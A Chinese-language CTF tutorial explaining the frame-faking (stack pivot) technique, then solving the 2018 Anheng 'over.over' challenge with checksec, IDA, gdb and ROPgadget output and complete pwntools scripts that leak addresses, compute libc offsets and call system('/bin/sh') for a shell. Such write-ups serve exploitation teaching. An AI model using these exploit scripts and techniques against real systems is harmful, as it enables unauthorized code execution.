frame faking

构造一个虚假的栈帧来控制程序的执行流

原理

之前所讲的栈溢出不外乎两种方式:

  • 控制程序EIP
  • 控制程序EBP

其最终都是控制程序的执行流。在frame faking中,我们所利用的技巧辨是同时控制EBP和EIP,这样我们在控制程序执行流的同时,也改变程序栈帧的位置。

函数的入口点和出口点

入口点

push ebp    #将ebp压栈
mov ebp, esp    #将esp的值赋给ebp

出口点

leave
ret # pop eip 弹出栈顶元素作为程序的下一个执行地址

其中leave指令相当于

mov esp,ebp     #将ebp的值赋给esp
pop ebp     #弹出栈顶元素作为ebp的值

所以函数的出口点的两条指令相当于

mov esp,ebp
pop ebp
pop eip

利用条件

  • 溢出字节较少,难以构造较长的rop链
  • 存在一块可写的内存,且知道其地址

payload设置

此种攻击方法的关键在于如何同时控制ebp和eip,那么如何同时控制ebp和eip的值的?

  • 使用ROPgadget查找leave;ret指令所在的地址
  • 覆盖完成bufer后,使用可控制的地址覆盖ebp的值,使用上述leave;ret指令所在地址覆盖ret的值。

假设程序为32位程序,64位同理

  1. 当函数正常返回时,执行leave;ret指令(此处非执行我们覆盖的ret指令)如下图所示:
  2. mov esp,ebp;将ebp的值赋给esp,此时esp和ebp同时指向ebp基址处,也就是我们设置的可控制的fake ebp值处。
  3. pop ebp,弹出栈顶,也就是ebp的基址,这时会将我们设置的虚假的ebp值赋给ebp寄存器,同时esp+4上行
  4. 执行ret指令,ret指令相当于pop eip;此时栈顶为我们使用ROPgadget查找的leave;ret指令的地址。将这个地址弹出,赋给eip寄存器。esp+4上行
  5. 执行eip寄存器中的指令,leave指令;
  6. mov esp,ebp;将ebp的值赋给esp,此时ebp寄存器中保存的值为我们设置的虚假的可控的地址,于是esp指向来了该可控地址
  7. pop ebp;栈顶弹出赋给ebp,相当于该可控地址的第一个4位地址内容弹出,赋给ebp,可以设置4个a来padding,esp+4上行
  8. 执行ret,我们一般将此时esp指向的地址设为目标函数地址,就可执行目标函数了。

下面以一道例题来说明用法

2018安恒杯月赛下载地址

checksec + IDA

[*] '/mnt/hgfs/ubuntu_share/pwn/stack/over.over'Arch:     amd64-64-littleRELRO:    Partial RELROStack:    No canary foundNX:       NX enabledPIE:      No PIE (0x400000)
  • 64位程序
  • 只开启了nx保护
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{setvbuf(stdin, 0LL, 2, 0LL);setvbuf(stdout, 0LL, 2, 0LL);while ( sub_400676() );return 0LL;
}
int sub_400676()
{char buf; // [rsp+0h] [rbp-50h]memset(&buf, 0, 0x50uLL);putchar('>');read(0, &buf, 0x60uLL);return puts(&buf);
}

通过IDA分析可以得出:

  • 只能溢出0x10字节,也就是16个字符,也就是只能覆盖两个地址,无法构造较长的rop链
  • 但read函数并不会给输入字符串末尾补\0,所以当我们输入0x50个字符时,可以将rbp的值打印出来。

leak rbp的值

  • 在这个题中我们可以直接控制sub_400676函数中的buf所在的内存地址。
  • 所以rbp我们需要覆盖为buf所在的首地址
  • 他们在内存中的具体的值我们看不出来,但他们之间的偏移关系是确定的。
  • 我们可以通过leak rbp,再动态调试一下,得出具体的偏移关系

gdb over.over
b *0x4006B9
// 0x4006B9地址为sub_400676函数中call puts函数的地址,如上图所示
r
123123//输入内容
telescope $rsp 20   //查看从rsp开始的20个地址

  • 我们leak出来的rbp的值为红色的长方形中的蓝色框中的值,为0x00007fffffffdd50
  • 而rsp所指向的地址为0x00007fffffffdce0
  • 0x00007fffffffdce0与0x00007fffffffdd50两个地址之间的偏移相差0x70,蓝色椭圆框所示

查找leave;ret的地址:

root@ubuntu:/mnt/hgfs/ubuntu_share/pwn/stack# ROPgadget --binary over.over --only "leave|ret"
Gadgets information
============================================================
0x00000000004006be : leave ; ret
0x0000000000400509 : ret
0x00000000004007d0 : ret 0xfffeUnique gadgets found: 3
  • 所以rbp设置为原来的rbp-0x70,ret设置为0x00000000004006be
  • 同时我们还需要在buf的一开始没有溢出的地方调用puts函数,以判断版本
  • 在调用puts函数时,需要设置rdi寄存器,这里使用通用gadgets:csu_init,如读者不熟悉,请先阅读这篇文章

代码如下:

from pwn import *
context.log_level = "DEBUG"sh = process("over.over")payload = 'a' * 80sh.recvuntil('>')sh.send(payload)rbp_addr =  u64(sh.recv()[80:-2] + '\x00\x00')print hex(ebp_addr)pop_rdi = 0x400793puts_got = 0x601020 puts_plt = 0x400530 ret_addr = 0x400676leave_ret = 0x4006bepayload = 'a'*8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(ret_addr) + p64(1)*5 + p64(rbp_addr-0x70) + p64(leave_ret)sh.send(payload)sh.recvline()real_addr = u64(sh.recvline()[:-1] + '\x00\x00')print hex(real_addr)

此时的栈结构

  • 此时执行leave;ret指令,rsp指向rbp的位置处
  • 按照上文原理中所叙述的,经过两次leave;ret
  • rsp指向pop rdi;ret的gadget处

根据泄露出来的puts地址判断libc版本

libc database:url

完成最后一步:获取shell

代码如下:

from pwn import *
context.log_level = "DEBUG"sh = process("over.over")payload = 'a' * 80sh.recvuntil('>')sh.send(payload)rbp_addr =  u64(sh.recv()[80:-2] + '\x00\x00')print hex(ebp_addr)pop_rdi = 0x400793puts_got = 0x601020 puts_plt = 0x400530 ret_addr = 0x400676leave_ret = 0x4006bepayload = 'a'*8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(ret_addr) + p64(1)*5 + p64(rbp_addr-0x70) + p64(leave_ret)sh.send(payload)sh.recvline()real_addr = u64(sh.recvline()[:-1] + '\x00\x00')print hex(real_addr)base_addr = real_addr - 0x06f690system_addr = base_addr + 0x045390binsh_addr = base_addr + 0x18cd57payload = 'a'*8 + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr) + p64(ret_addr) + p64(1)*5 + p64(rbp_addr-0x70-0x30) + p64(leave_ret)sh.send(payload)sh.interactive()

注意一点,最后的rbp_addr-0x70-0x30的由来:

  • 不是只需要减0x70就可以吗,怎么又减了0x30
  • 因为第一次泄露完puts的地址后,rsp是指向p64(1)*5的第一个1处
  • 返回地址为sub_400676的函数地址
  • 该函数的开头部分进行了压栈操作,压入了一个rbp,此时的栈结构是这样的:
  • 红字部分为6个8字节,48字节,换算为十六进制为0x30
  • 所以rbp的值需要再减去一个0x30才能到aaaaaaaa字符串的地址处

花式栈溢出技巧之frame faking相关推荐

  1. 花式栈溢出技巧----stack pivoting/frame faking

    学习文献:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic_rop/ https://www.jianshu.com/ ...

  2. 花式栈溢出技巧----partial overwrite

    学习资料:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/others/#partial-overwrite https://b ...

  3. 花式栈溢出技巧之stack pivoting

    原理 正如它描述的,该技巧就是劫持栈指针指向攻击者所能控制的内存处,然后在相应位置进行ROP.一般来说,我们可能在下述情况使用劫持栈指针. 可以控制栈溢出的字节数较少,难以构造较长的ROP链. 开启了 ...

  4. 花式栈溢出技巧----Stack smash

    学习文献:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/others/#stack-smash 以前遇见过一次这种情况,但是是 ...

  5. 构造虚假栈帧 | 花式栈溢出

    花式栈溢出技巧----stack pivoting/frame faking: https://blog.csdn.net/qq_42192672/article/details/83039125 C ...

  6. 花式栈溢出值stack smash

    花式栈溢出值stack smash 原理: 在程序加了 canary 保护之后,如果我们读取的 buffer 覆盖了对应的值时,程序就会报错,而一般来说我们并不会关心报错信息.而 stack smas ...

  7. Advanced Exploit Techique之--frame faking技术http://ntbgyz.com/articles/200602/851.html

    Advanced Exploit Techique之--frame faking技术http://ntbgyz.com/articles/200602/851.html                 ...

  8. 二维数组的花式遍历技巧盘点

    学算法认准 labuladong 后台回复 进群 进刷题 读完本文,可以去力扣解决如下题目: 48. 旋转图像(中等) 54. 螺旋矩阵(中等) 59. 螺旋矩阵 II(中等) 有不少读者说,看过很多 ...

  9. 微信公众号花式排版技巧分享

    大家好,又到我们的学习时间啦~今天要跟各位分享的小技巧是什么呢?超级超级简单~ 那就是花式玩转文字排版 第一个小技巧是 NO1 删除线 在有的图文中经常有的小伙伴问"文字上的横线" ...

最新文章

  1. iOS端实现React Native差异化增量更新
  2. elasticsearch date_histogram
  3. es 插入数据_记录一次Java导入百万级数据到Elasticsearch经历
  4. [存储引擎基础知识]InnoDB与MyISAM的六大区别(非原创)
  5. 计蒜客 A2232.程序设计:蒜厂年会-单调队列(双端队列(STL deque)实现)滑窗维护最小前缀和...
  6. Framework打包
  7. 通信距离与哪些因素相关?为什么模块通信距离和厂家宣传的不一样?
  8. mp4v2 写mp4 java_使用mp4v2将H264+AAC合成mp4文件
  9. Ubuntu更换gnome桌面环境后不能root登录
  10. Emlog使用qq头像作为评论头像
  11. (转)shiro权限框架详解03-shiro介绍
  12. 几款4Gb光纤连接产品对比
  13. 【java笔记】lambda表达式介绍和使用
  14. 「leetcode」47.全排列 II【回溯算法】详细图解!
  15. 如何将无线鼠标连接到Mac电脑?
  16. Swiper 参数说明
  17. 建立oracle数据库链接,Oracle数据库创建数据库连接(DBLink)详细讲解
  18. 七夕情人节生日表白爱心
  19. 家居智能安防系统功能和特点介绍,如何合理化的做好家居智能安防?
  20. Django 之ORM(一)

热门文章

  1. CSMA/CD 协议 详解
  2. 单元测试 0%-40%+经验
  3. 关于如何修复移动热点无网络(无互联网连接)的问题
  4. java warmup,20. dubbo源码-预热warmup过程
  5. forward 与 redirect 的区别?有哪些方式实现
  6. 404究竟是什么意思呢?像404,200,503等数字究竟是什么东西
  7. 我们说的那些培训班,到底要不要报?自学编程VS培训报班
  8. Idea设置Java类注释模板和方法注释模板
  9. python接入支付宝接口
  10. Android AOSP 下载和编译